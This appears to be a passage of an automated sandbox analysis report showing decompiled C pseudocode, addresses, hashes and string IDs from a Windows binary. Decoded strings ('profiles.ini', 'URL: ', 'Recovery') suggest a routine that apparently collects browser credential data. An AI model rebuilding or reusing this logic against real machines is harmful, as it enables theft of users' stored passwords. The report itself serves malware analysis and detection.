                								_t305 = _t305 + 0x28;
                								 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + _t200 + _t200;
                							}
                							_t189 = _a16;
                							if(_t189 != 0) {
                								_a32(_t189);
                							}
                							L10:
                							E004133BD(_t301, 1);
                							_t303 = _t305 + 8;
                							goto L11;
                						}
                						E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v60, 0);
                						 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + E0042093D( &_v60) + _t204;
                						E0041842D(_t301,  *((intOrPtr*)(_t243 - 4)));
                						E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v36, 0);
                						 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + E0042093D( &_v36) + _t209;
                						E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v108, 0);
                						 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + E0042093D( &_v108) + _t213;
                						E0041842D(_t301,  *_t243);
                						E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v36, 0);
                						 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + E0042093D( &_v36) + _t218;
                						E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v132, 0);
                						 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + E0042093D( &_v132) + _t222;
                						E0041842D(_t301,  *((intOrPtr*)(_t243 + 4)));
                						E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v36, 0);
                						_t228 = E0042093D( &_v36);
                						_t305 = _t303 + 0x78;
                						 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + _t228 + _t228;
                						_v8 = 0;
                						_push( &_v8);
                						_push(0);
                						_push(0);
                						_push( *_t243);
                						_push( *((intOrPtr*)(_t243 - 4)));
                						_push(_t243 - 0x18);
                						_push(_a8);
                						if(_a24() == 0) {
                							E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v84, _t231);
                							 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + E0042093D( &_v84) + _t234;
                							E0041842D(_t301,  *((intOrPtr*)(_v8 + 0x1c)));
                							E00420AAD( *((intOrPtr*)(_t301 + 0xa04)),  &_v36, 0);
                							_t240 = E0042093D( &_v36);
                							_t305 = _t305 + 0x28;
                							 *((intOrPtr*)(_t301 + 0xa08)) =  *((intOrPtr*)(_t301 + 0xa08)) + _t240 + _t240;
                						}
                						goto L10;
                						L11:
                						_t243 = _t243 + 0x34;
                						_t298 = _t298 + 0x38;
                						_t147 =  &_v12;
                						 *_t147 = _v12 - 1;
                					} while ( *_t147 != 0);
                					goto L13;
                				}
                			}



















































                0x0041855a
                0x0041855d
                0x00418560
                0x00418563
                0x00418566
                0x0041856a
                0x0041856d
                0x00418570
                0x00418573
                0x00418577
                0x0041857a
                0x0041857d
                0x00418580
                0x00418583
                0x00418586
                0x0041858a
                0x0041858e
                0x00418591
                0x00418594
                0x00418598
                0x0041859d
                0x004185a4
                0x004185a8
                0x004185af
                0x004185b6
                0x004185ba
                0x004185c1
                0x004185c8
                0x004185cf
                0x004185d6
                0x004185dd
                0x004185e4
                0x004185e8
                0x004185ef
                0x004185f6
                0x004185ff
                0x00418978
                0x00418982
                0x00418605
                0x00418607
                0x0041860e
                0x00418611
                0x00418613
                0x0041861d
                0x00418629
                0x00418633
                0x00418645
                0x0041864a
                0x00418650
                0x00418656
                0x004187d7
                0x00000000
                0x00000000
                0x004187ea
                0x004187fa
                0x00418805
                0x00418817
                0x0041882d
                0x0041883a
                0x0041884a
                0x00418854
                0x00418869
                0x00418885
                0x0041888c
                0x0041889c
                0x004188a7
                0x004188b9
                0x004188c2
                0x004188c9
                0x004188cc
                0x004188d2
                0x004188e1
                0x004188e5
                0x004188e7
                0x004188e9
                0x004188ea
                0x004188ee
                0x004188f2
                0x004188f3
                0x004188f9
                0x00418907
                0x0041891a
                0x00418925
                0x00418937
                0x00418940
                0x00418947
                0x0041894a
                0x0041894a
                0x00418950
                0x00418955
                0x00418958
                0x00418958
                0x0041895b
                0x0041895e
                0x00418963
                0x00000000
                0x00418963
                0x00418669
                0x00418679
                0x00418684
                0x00418696
                0x004186a6
                0x004186b9
                0x004186c9
                0x004186d3
                0x004186e8
                0x004186fe
                0x0041870b
                0x0041871b
                0x00418726
                0x00418738
                0x00418741
                0x00418748
                0x0041874b
                0x00418751
                0x00418760
                0x00418761
                0x00418763
                0x00418765
                0x00418769
                0x0041876d
                0x0041876e
                0x00418774
                0x00418786
                0x00418796
                0x004187a4
                0x004187b6
                0x004187bf
                0x004187c6
                0x004187c9
                0x004187c9
                0x00000000
                0x00418966
                0x00418966
                0x00418969
                0x0041896c
                0x0041896c
                0x0041896c
                0x00000000
                0x00418977

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: :$:$:$A$I$N$P$m$s$t
                • API String ID: 0-2304485323
                • Opcode ID: f24d36fc231d12b4be13b2a76d35d97a403d3587930704dc1b30f1deeddafa65
                • Instruction ID: 917120ce5c0084cc3b9ce22dd1fc4461ddfd8d1f1a0d30d6468241a5722f3a37
                • Opcode Fuzzy Hash: f24d36fc231d12b4be13b2a76d35d97a403d3587930704dc1b30f1deeddafa65
                • Instruction Fuzzy Hash: 99D1FBB1A00318ABDB10DFA5DC81FEEB7F8AF58304F40451EF255D6242EB78A945CB69
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 42%
                			E004115CD(void* __ebx, intOrPtr _a4, intOrPtr _a8) {
                				intOrPtr _v8;
                				char _v12;
                				short _v16;
                				intOrPtr _v20;
                				char _v24;
                				char _v126;
                				short _v128;
                				intOrPtr _v132;
                				intOrPtr _v136;
                				intOrPtr _v140;
                				intOrPtr _v144;
                				intOrPtr _v148;
                				char _v152;
                				char _v278;
                				char _v280;
                				char _v798;
                				char _v800;
                				char _v1822;
                				char _v1824;
                				void* __edi;
                				void* __esi;
                				void* __ebp;
                				signed char _t92;
                				signed char _t93;
                				void* _t95;
                				signed int _t100;
                				signed int _t105;
                				signed char _t106;
                				signed int _t107;
                				void* _t118;
                				void* _t123;
                				void* _t129;
                				void* _t134;
                				signed char _t142;
                				void* _t176;
                				signed int _t177;
                				intOrPtr _t180;
                				void* _t182;
                
                				_t144 = __ebx;
                				_v1824 = 0;
                				E004206CD( &_v1822, 0, 0x3fe);
                				_v800 = 0;
                				E004206CD( &_v798, 0, 0x206);
                				_t146 =  &_v278;
                				_v12 = 0x200022;
                				_v8 = 0x22;
                				_v24 = 0x200022;
                				_v20 = 0x56002f;
                				_v16 = 0;
                				E004206CD( &_v278, 0, 0x7e);
                				_t162 = 0x5c;
                				_v280 = 0x5c;
                				_t92 = E00420C3D();
                				_t180 = _a4;
                				if((_t92 & 0x00000003) != 0) {
                					_push(8);
                					_push(3);
                					_t93 = L0040F84D(_t92, __ebx,  &_v278, 0x5c, _t180);
                					_t162 = _t93 & 0x000000ff;
                					_push(_t93 & 0x000000ff);
                					_push( &_v278);
                					_t95 = E004215FD();
                				} else {
                					_push(0x40);
                					_push(0x2b);
                					_t142 = L0040F84D(_t92, __ebx,  &_v278, 0x5c, _t180);
                					_push(1);
                					_push(_t142 & 0x000000ff);
                					_t146 =  &_v278;
                					_push( &_v278);
                					_push(_t180);
                					_t95 = L0041043D( &_v278, 0x5c, _t176, _t180);
                				}
                				_push(8);
                				_push(3);
                				_push(L0040F84D(_t95, _t144, _t146, _t162, _t180) & 0x000000ff);
                				_push(_t182 + E0042093D( &_v280) * 2 - 0x114);
                				E004215FD();
                				_t100 = E0042093D( &_v280);
                				_push(1);
                				_t177 = _t100;
                				_push(0x25);
                				_push(_t182 + _t177 * 2 - 0x114);
                				_push(_t180);
                				L0041043D( &_v280, _t182 + _t177 * 2 - 0x114, _t177, _t180);
                				 *((short*)(_t182 + _t177 * 2 - 0x10c)) = 0;
                				_v152 = 0x720050;
                				_v148 = 0x67006f;
                				_v144 = 0x610072;
                				_v140 = 0x46006d;
                				_v136 = 0x6c0069;
                				_v132 = 0x730065;
                				_v128 = 0;
                				E004206CD( &_v126, 0, 0x66);
                				_push( &_v800);
                				_push( &_v152);
                				_push(_t180);
                				L0041030D();
                				_t105 = E0042093D( &_v800);
                				_push(0x5a);
                				_push(0x41);
                				 *((short*)(_t182 + _t105 * 2 - 0x31c)) = 0x5c;
                				_t106 = L0040F84D(_t105, _t144, 0x5c,  &_v800, _t180);
                				_t107 = E0042093D( &_v800);
                				_push(8);
                				_push(3);
                				 *((short*)(_t182 + _t107 * 2 - 0x31c)) = _t106 & 0x000000ff;
                				_push(L0040F84D(_t107, _t144, 0x5c,  &_v800, _t180) & 0x000000ff);
                				_push(_t182 + E0042093D( &_v800) * 2 - 0x31c);
                				E004215FD();
                				_t52 = E0042093D( &_v280) + 2; // 0x2
                				E0042064D(_t182 + E0042093D( &_v800) * 2 - 0x31c,  &_v280, _t113 + _t52);
                				_push(1);
                				_push(8);
                				_push( &_v1824);
                				_push(_t180);
                				L0041043D(_t182 + E0042093D( &_v800) * 2 - 0x31c,  &_v1824, _t106 & 0x000000ff, _t180);
                				_t118 = E0042093D(_a8);
                				E0042064D(_t182 + E0042093D( &_v1824) * 2 - 0x71c, _a8, _t118 + _t118);
                				_t123 = E0042093D( &_v12);
                				E0042064D(_t182 + E0042093D( &_v1824) * 2 - 0x71c,  &_v12, _t123 + _t123);
                				_t129 = E0042093D( &_v800);
                				E0042064D(_t182 + E0042093D( &_v1824) * 2 - 0x71c,  &_v800, _t129 + _t129);
                				_t134 = E0042093D( &_v24);
                				E0042064D(_t182 + E0042093D( &_v1824) * 2 - 0x71c,  &_v24, _t134 + _t134);
                				return E0042064D(_t180 + 0xa2c,  &_v800, E0042093D( &_v800) + _t139 + 2);
                			}









































                0x004115cd
                0x004115e7
                0x004115ee
                0x00411602
                0x00411609
                0x00411613
                0x0041161a
                0x00411621
                0x00411628
                0x0041162f
                0x00411636
                0x0041163a
                0x0041163f
                0x00411647
                0x0041164e
                0x00411653
                0x00411658
                0x0041167b
                0x0041167d
                0x0041167f
                0x00411684
                0x00411687
                0x0041168e
                0x0041168f
                0x0041165a
                0x0041165a
                0x0041165c
                0x0041165e
                0x00411666
                0x00411668
                0x00411669
                0x0041166f
                0x00411670
                0x00411671
                0x00411676
                0x00411697
                0x00411699
                0x004116a6
                0x004116bd
                0x004116be
                0x004116ca
                0x004116cf
                0x004116d1
                0x004116d3
                0x004116dc
                0x004116dd
                0x004116de
                0x004116ee
                0x004116f6
                0x00411700
                0x0041170a
                0x00411714
                0x0041171e
                0x00411728
                0x0041172f
                0x00411733
                0x0041173e
                0x00411745
                0x00411746
                0x00411747
                0x00411753
                0x0041175d
                0x0041175f
                0x00411761
                0x00411769
                0x0041177b
                0x00411780
                0x00411782
                0x00411784
                0x00411797
                0x004117ae
                0x004117af
                0x004117c3
                0x004117e6
                0x004117eb
                0x004117ed
                0x004117f5
                0x004117f6
                0x004117f7
                0x00411800
                0x00411823
                0x0041182c
                0x00411852
                0x0041185e
                0x00411887
                0x00411890
                0x004118b6
                0x004118e7

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: "$"$"$/$P$e$i$m$o$r
                • API String ID: 0-163326737
                • Opcode ID: 68b7a7e642faf925209a23c353636c80358482cba502728bf50b180f7d3130c0
                • Instruction ID: 0c9f6d0889b4004b03b3ff014fadce84eb32986bfb5256a8434bf439496b64c4
                • Opcode Fuzzy Hash: 68b7a7e642faf925209a23c353636c80358482cba502728bf50b180f7d3130c0
                • Instruction Fuzzy Hash: CB81F8B2D4022C66EB21EBA5EC42FEE73BC9F44304F40849EB50966183E7795798CF65
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 84%
                			E00414CED(void* __eflags, intOrPtr _a4, intOrPtr _a8, char _a12) {
                				signed int _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				char _v24;
                				short _v28;
                				intOrPtr _v32;
                				intOrPtr _v36;
                				intOrPtr _v40;
                				intOrPtr _v44;
                				intOrPtr _v48;
                				char _v52;
                				char _v53;
                				short _v55;
                				short _v59;
                				short _v63;
                				short _v67;
                				short _v71;
                				short _v75;
                				short _v79;
                				short _v83;
                				char _v84;
                				char _v85;
                				short _v87;
                				char _v91;
                				char _v95;
                				char _v99;
                				char _v103;
                				char _v107;
                				char _v111;
                				char _v115;
                				char _v116;
                				void* __edi;
                				void* __esi;
                				void* __ebp;
                				void* _t107;
                				signed int _t108;
                				short* _t109;
                				short* _t114;
                				short* _t115;
                				short* _t120;
                				void* _t122;
                				intOrPtr _t131;
                				short* _t144;
                				intOrPtr* _t156;
                				void* _t157;
                				void* _t158;
                				void* _t159;
                				void* _t160;
                				void* _t161;
                				void* _t162;
                
                				_t131 = _a4;
                				_push(4);
                				_push(0x15);
                				_push( &_v84);
                				_push(_t131);
                				_v24 = 0x52550a0d;
                				_v20 = 0x203a4c;
                				_v52 = 0x720070;
                				_v48 = 0x66006f;
                				_v44 = 0x6c0069;
                				_v40 = 0x730065;
                				_v36 = 0x69002e;
                				_v32 = 0x69006e;
                				_v28 = 0;
                				_v84 = 0;
                				_v83 = 0;
                				_v79 = 0;
                				_v75 = 0;
                				_v71 = 0;
                				_v67 = 0;
                				_v63 = 0;
                				_v59 = 0;
                				_v55 = 0;
                				_v53 = 0;
                				L004103AD();
                				_push(4);
                				_push(0x14);
                				_push( &_v116);
                				_push(_t131);
                				_v116 = 0;
                				_v115 = 0;
                				_v111 = 0;
                				_v107 = 0;
                				_v103 = 0;
                				_v99 = 0;
                				_v95 = 0;
                				_v91 = 0;
                				_v87 = 0;
                				_v85 = 0;
                				L004103AD();
                				_t156 = _a12;
                				_push(0);
                				_push(3);
                				_t34 = _t156 + 0x68; // 0x203ab4
                				_t155 = _t34;
                				_push(_t34);
                				_push(_t131);
                				L0041043D( &_v84,  &_v116, _t34, _t156);
                				_t158 = _t157 + 0x30;
                				if( *_t156 == 0x32) {
                					_push(1);
                					_push(0x13);
                					_t36 = E0042093D(_t155) * 2; // 0x203ab4
                					_push(_t156 + _t36 + 0x68);
                					_push(_t131);
                					L0041043D( &_v84,  &_v116, _t155, _t156);
                					_t158 = _t158 + 0x14;
                				}
                				 *((short*)(_t156 + 0x6a + E0042093D(_t155) * 2)) = 0;
                				 *((short*)(_t156 + 0x68 + E0042093D(_t155) * 2)) = 0x5c;
                				E00420AAD(_t155, _a8, 0);
                				E00420AAD(_t155,  &_v52, 0);
                				_v12 = E0042093D(_t155) - 4;
                				_t47 = _t156 + 0x6b74; // 0x20a5c0
                				E0041EF4D(_t131, _t47, 0x1000, _t155);
                				 *((short*)(_a8 + E0042093D(_a8) * 2 - 2)) = 0;
                				_v16 = E0041694D(_t131, 0, 1, _a8,  *_t156);
                				_t54 = _t156 + 0x6b74; // 0x20a5c0
                				_t159 = _t158 + 0x4c;
                				_a12 = _t54;
                				do {
                					_v8 = 0;
                					_t107 = E0042095D(_a12,  &_v52, 0xe);
                					_t160 = _t159 + 0xc;
                					if(_t107 == 0) {
                						goto L14;
                					}
                					_t60 = _t156 + 0x496c; // 0x2083b8
                					_t61 = _t156 + 0x48; // 0x203a94
                					E0041EF8D(_t131, _a12, _t61, 0, _t60, 0x104, _t155);
                					_t62 = _t156 + 0x496c; // 0x2083b8
                					_t114 = _t62;
                					_t161 = _t160 + 0x1c;
                					if( *_t114 == 0x2f) {
                						L8:
                						_t67 = _v8 * 2; // 0x2083b8
                						_t115 = _t156 + _t67 + 0x496c;
                						_v8 = _t115;
                						 *_t115 = 0x5c;
                						_t70 = _t156 + 0x4868; // 0x2082b4
                						E00420CED(_t70, _t155);
                						_t74 = _t156 + 0x4868; // 0x4148b8
                						E00420CED(_v12 + _t74, _v8);
                						_t75 = _t131 + 0xb5c; // 0xec8b55cf
                						_t120 =  *_t75;
                						_t162 = _t161 + 0x10;
                						if(_t120 != 0 &&  *_t120 == 0) {
                							_t76 = _t156 + 0x4868; // 0x2082b4
                							E00420D3D(_t120, _t76);
                							_t162 = _t162 + 8;
                						}
                						if(_v16 == 0) {
                							break;
                						} else {
                							_t79 = _t156 + 0x4868; // 0x2082b4
                							_t122 =  *((intOrPtr*)( *((intOrPtr*)(_t156 + 0x10))))(_t79);
                							_t160 = _t162 + 4;
                							_t174 = _t122;
                							if(_t122 == 0) {
                								_t83 =  &_v24; // 0x52550a0d
                								E004149FD(_t83, _t174, _t131, _a8, _t156, _t83,  &_v116,  &_v84);
                								_t160 = _t160 + 0x18;
                								 *((intOrPtr*)( *((intOrPtr*)(_t156 + 0x18))))();
                							}
                							goto L14;
                						}
                					}
                					_t144 = _t114;
                					while( *_t144 != 0) {
                						_v8 = _v8 + 1;
                						_t114 = _t114 + 2;
                						_t144 = _t114;
                						if( *_t114 != 0x2f) {
                							continue;
                						}
                						goto L8;
                					}
                					goto L8;
                					L14:
                					_t85 =  &_a12; // 0x203a4c
                					_t108 = E0042093D( *_t85);
                					_t86 =  &_a12; // 0x203a4c
                					_t88 = _t108 * 2; // 0x203a4e
                					_t109 =  *_t86 + _t88 + 2;
                					_t159 = _t160 + 4;
                					_a12 = _t109;
                				} while ( *_t109 != 0);
                				return 0;
                			}






















































                0x00414cf4
                0x00414cfb
                0x00414cfd
                0x00414d02
                0x00414d03
                0x00414d04
                0x00414d0b
                0x00414d12
                0x00414d19
                0x00414d20
                0x00414d27
                0x00414d2e
                0x00414d35
                0x00414d3c
                0x00414d40
                0x00414d43
                0x00414d46
                0x00414d49
                0x00414d4c
                0x00414d4f
                0x00414d52
                0x00414d55
                0x00414d58
                0x00414d5c
                0x00414d5f
                0x00414d66
                0x00414d68
                0x00414d6d
                0x00414d6e
                0x00414d6f
                0x00414d73
                0x00414d76
                0x00414d79
                0x00414d7c
                0x00414d7f
                0x00414d82
                0x00414d85
                0x00414d88
                0x00414d8c
                0x00414d8f
                0x00414d94
                0x00414d97
                0x00414d99
                0x00414d9b
                0x00414d9b
                0x00414d9e
                0x00414d9f
                0x00414da0
                0x00414da5
                0x00414dab
                0x00414dad
                0x00414daf
                0x00414dba
                0x00414dbe
                0x00414dbf
                0x00414dc0
                0x00414dc5
                0x00414dc5
                0x00414dd1
                0x00414de0
                0x00414dec
                0x00414df8
                0x00414e07
                0x00414e0a
                0x00414e17
                0x00414e2a
                0x00414e3c
                0x00414e3f
                0x00414e45
                0x00414e48
                0x00414e4d
                0x00414e57
                0x00414e5e
                0x00414e63
                0x00414e68
                0x00000000
                0x00000000
                0x00414e77
                0x00414e80
                0x00414e86
                0x00414e8b
                0x00414e8b
                0x00414e91
                0x00414e98
                0x00414eb1
                0x00414eb4
                0x00414eb4
                0x00414ec0
                0x00414ec3
                0x00414ec6
                0x00414ece
                0x00414eda
                0x00414ee2
                0x00414ee7
                0x00414ee7
                0x00414eed
                0x00414ef2
                0x00414efa
                0x00414f02
                0x00414f07
                0x00414f07
                0x00414f0e
                0x00000000
                0x00414f10
                0x00414f13
                0x00414f1a
                0x00414f1c
                0x00414f1f
                0x00414f21
                0x00414f2e
                0x00414f35
                0x00414f3d
                0x00414f40
                0x00414f40
                0x00000000
                0x00414f21
                0x00414f0e
                0x00414e9a
                0x00414e9d
                0x00414ea3
                0x00414ea6
                0x00414ead
                0x00414eaf
                0x00000000
                0x00000000
                0x00000000
                0x00414eaf
                0x00000000
                0x00414f42
                0x00414f42
                0x00414f46
                0x00414f4b
                0x00414f4e
                0x00414f4e
                0x00414f52
                0x00414f59
                0x00414f59
                0x00414f6a

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: URL: $.$L: $e$i$n$o$p$@[
                • API String ID: 0-3313035581
                • Opcode ID: a9c7126292d3eb7f46506c063d74d1e067fb4be81ffdc71fe4073e89ce5f24bd
                • Instruction ID: 1b0d76966b5aa10f826d73052387c6707c03c68e0bef4b6ba9c1936b8b53a53a
                • Opcode Fuzzy Hash: a9c7126292d3eb7f46506c063d74d1e067fb4be81ffdc71fe4073e89ce5f24bd
                • Instruction Fuzzy Hash: E6813BB1900208AEEB10DFA5DC41BEFB7F8EF84304F40442EF559AB242E7759595CB69
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 100%
                			E0041694D(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
                				intOrPtr _v8;
                				short _v10;
                				short _v14;
                				short _v18;
                				short _v22;
                				short _v26;
                				short _v28;
                				intOrPtr _v32;
                				intOrPtr _v36;
                				char _v40;
                				intOrPtr _v44;
                				intOrPtr _v48;
                				intOrPtr _v52;
                				intOrPtr _v56;
                				intOrPtr _v60;
                				intOrPtr _v64;
                				intOrPtr _v68;
                				intOrPtr _v72;
                				intOrPtr _v76;
                				intOrPtr _v80;
                				intOrPtr _v84;
                				intOrPtr _v88;
                				intOrPtr _v92;
                				intOrPtr _v96;
                				intOrPtr _v100;
                				char _v104;
                				char _v162;
                				short _v164;
                				char _v168;
                				char _v686;
                				char _v688;
                				intOrPtr _t70;
                				intOrPtr _t125;
                				void* _t129;
                
                				_v8 = 3;
                				_v688 = 0;
                				E004206CD( &_v686, 0, 0x206);
                				_v168 = 0xa000d;
                				_v164 = 0;
                				E004206CD( &_v162, 0, 0x3a);
                				_v28 = 0;
                				_v26 = 0;
                				_v22 = 0;
                				_v18 = 0;
                				_v14 = 0;
                				_v10 = 0;
                				_t70 = _a20;
                				_v40 = 0x670072;
                				_v36 = 0x69002e;
                				_v32 = 0x69006e;
                				if(_t70 != 0x1024) {
                					if(_t70 != 0x32) {
                						if(_t70 == 0x64) {
                							_v8 = 7;
                						}
                					} else {
                						_v8 = 4;
                					}
                				} else {
                					_v8 = 5;
                				}
                				_t125 = _a4;
                				_t98 = _t125 + 0x8f0;
                				_t22 = E0042093D(_t125 + 0x8f0) - 8; // -8
                				if(_t22 > 0x178) {
                					return 0;
                				} else {
                					E0042064D( &_v688, _t98, _t119 + _t119);
                					E0042064D(_t129 + _t119 * 2 - 0x2b4,  &_v40, 0xe);
                					_v104 = 0x520020;
                					_v100 = 0x630065;
                					_v96 = 0x76006f;
                					_v92 = 0x720065;
                					_v88 = 0xd0079;
                					_v84 = 0xa;
                					_v80 = 0;
                					_v76 = 0;
                					_v72 = 0;
                					_v68 = 0;
                					_v64 = 0;
                					_v60 = 0;
                					_v56 = 0;
                					_v52 = 0;
                					_v48 = 0;
                					_v44 = 0;
                					if(_a12 == 0) {
                						L10:
                						_t77 = _a8;
                						if(_a8 != 0) {
                							E00420D3D( *((intOrPtr*)(_t125 + 0xa04)), _t77);
                							 *((intOrPtr*)(_t125 + 0xa08)) = E0042093D( *((intOrPtr*)(_t125 + 0xa04))) + _t81;
                							E004133BD(_t125, _v8);
                						}
                						return 1;
                					} else {
                						_t122 = _a16;
                						if(_a16 == 0) {
                							goto L10;
                						} else {
                							E0042064D( *((intOrPtr*)(_t125 + 0xa04)),  &_v168, 6);
                							E00420AAD( *((intOrPtr*)(_t125 + 0xa04)), _t122, 0);
                							_t52 = E0042093D( &_v104) + 2; // 0x2
                							E0042064D( *((intOrPtr*)(_t125 + 0xa04)) + E0042093D( *((intOrPtr*)(_t125 + 0xa04))) * 2,  &_v104, _t88 + _t52);
                							 *((intOrPtr*)(_t125 + 0xa08)) = E0042093D( *((intOrPtr*)(_t125 + 0xa04))) + _t93;
                							E004133BD(_t125, _v8);
                							return 1;
                						}
                					}
                				}
                			}





































                0x00416965
                0x0041696c
                0x00416973
                0x00416984
                0x0041698e
                0x00416995
                0x0041699c
                0x004169a0
                0x004169a3
                0x004169a6
                0x004169a9
                0x004169ac
                0x004169b0
                0x004169b6
                0x004169bd
                0x004169c4
                0x004169d0
                0x004169de
                0x004169ec
                0x004169ee
                0x004169ee
                0x004169e0
                0x004169e0
                0x004169e0
                0x004169d2
                0x004169d2
                0x004169d2
                0x004169f7
                0x004169fb
                0x00416a09
                0x00416a15
                0x00416b6d
                0x00416a1b
                0x00416a27
                0x00416a3a
                0x00416a44
                0x00416a4b
                0x00416a52
                0x00416a59
                0x00416a60
                0x00416a67
                0x00416a6e
                0x00416a71
                0x00416a74
                0x00416a77
                0x00416a7a
                0x00416a7d
                0x00416a80
                0x00416a83
                0x00416a86
                0x00416a89
                0x00416a8f
                0x00416b24
                0x00416b24
                0x00416b29
                0x00416b33
                0x00416b4b
                0x00416b51
                0x00416b56
                0x00416b64
                0x00416a95
                0x00416a95
                0x00416a9a
                0x00000000
                0x00416aa0
                0x00416ab0
                0x00416abf
                0x00416ad0
                0x00416af2
                0x00416b0a
                0x00416b10
                0x00416b23
                0x00416b23
                0x00416a9a
                0x00416a8f

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: $.$K2A$e$e$n$o$r$y
                • API String ID: 0-3545224466
                • Opcode ID: abd3c7a4500b530ea9f5a459fce386134ef4d209be4f3d2ef9a5f5bb9bdd40d2
                • Instruction ID: 1f5777cec584960f63d60c3bb5a776434568594588237e223eee4ba2f9a7a248
                • Opcode Fuzzy Hash: abd3c7a4500b530ea9f5a459fce386134ef4d209be4f3d2ef9a5f5bb9bdd40d2
                • Instruction Fuzzy Hash: 6951B1B1E003189FDB20DFA9D885BDEB7F8AF49304F50445EE509E7201E779AA44CB55
                Uniqueness

                Uniqueness Score: -1.00%

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: C$U$a$b$d$i$k$n$o
                • API String ID: 0-3121204512
                • Opcode ID: 99dfa8f195f7845dba936607aca87b31b43bd51d68f208969860499b6bc56951
                • Instruction ID: 5a36321af178fadbceae8e50f5f95d6f7164be94cb1c39cf85cdb5125ca1e344
                • Opcode Fuzzy Hash: 99dfa8f195f7845dba936607aca87b31b43bd51d68f208969860499b6bc56951
                • Instruction Fuzzy Hash: 9F41D4B1900308BAEB10EFA1DC82FFF77B9AF45708F00841EF515A7241D7B959058B69
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 100%
                			E0041795D(void* __ebx, intOrPtr _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
                				intOrPtr* _v8;
                				char _v12;
                				intOrPtr _v16;
                				char _v20;
                				intOrPtr _v24;
                				char _v28;
                				short _v30;
                				short _v34;
                				short _v38;
                				short _v42;
                				short _v46;
                				short _v48;
                				char _v52;
                				short _v54;
                				short _v58;
                				short _v62;
                				short _v64;
                				intOrPtr _v68;
                				intOrPtr _v72;
                				char _v76;
                				short _v78;
                				short _v82;
                				short _v86;
                				short _v88;
                				intOrPtr _v92;
                				intOrPtr _v96;
                				char _v100;
                				short _v104;
                				short _v108;
                				short _v112;
                				intOrPtr _v116;
                				intOrPtr _v120;
                				char _v124;
                				intOrPtr* _t107;
                				void* _t116;
                				void* _t119;
                				void* _t123;
                				void* _t127;
                				intOrPtr _t128;
                				void* _t139;
                				void* _t143;
                				void* _t147;
                				intOrPtr* _t161;
                				intOrPtr _t165;
                				intOrPtr* _t172;
                				void* _t179;
                				unsigned int _t191;
                				intOrPtr* _t197;
                				intOrPtr _t198;
                				intOrPtr _t203;
                				void* _t204;
                				void* _t206;
                
                				_t197 = _a12;
                				_t107 = _t197;
                				_v24 =  *((intOrPtr*)(_a8 + 8)) + _a8;
                				_v28 = 0x800;
                				_v16 = _t197;
                				_t7 = _t107 + 2; // 0x2
                				_t179 = _t7;
                				do {
                					_t165 =  *_t107;
                					_t107 = _t107 + 2;
                				} while (_t165 != 0);
                				_t203 = _a4;
                				_t10 = (_t107 - _t179 >> 1) + 2; // 0x0
                				_v20 = (_t107 - _t179 >> 1) + _t10;
                				_v48 = 0;
                				_t13 = _t203 + 0xa04; // 0x8966ba45
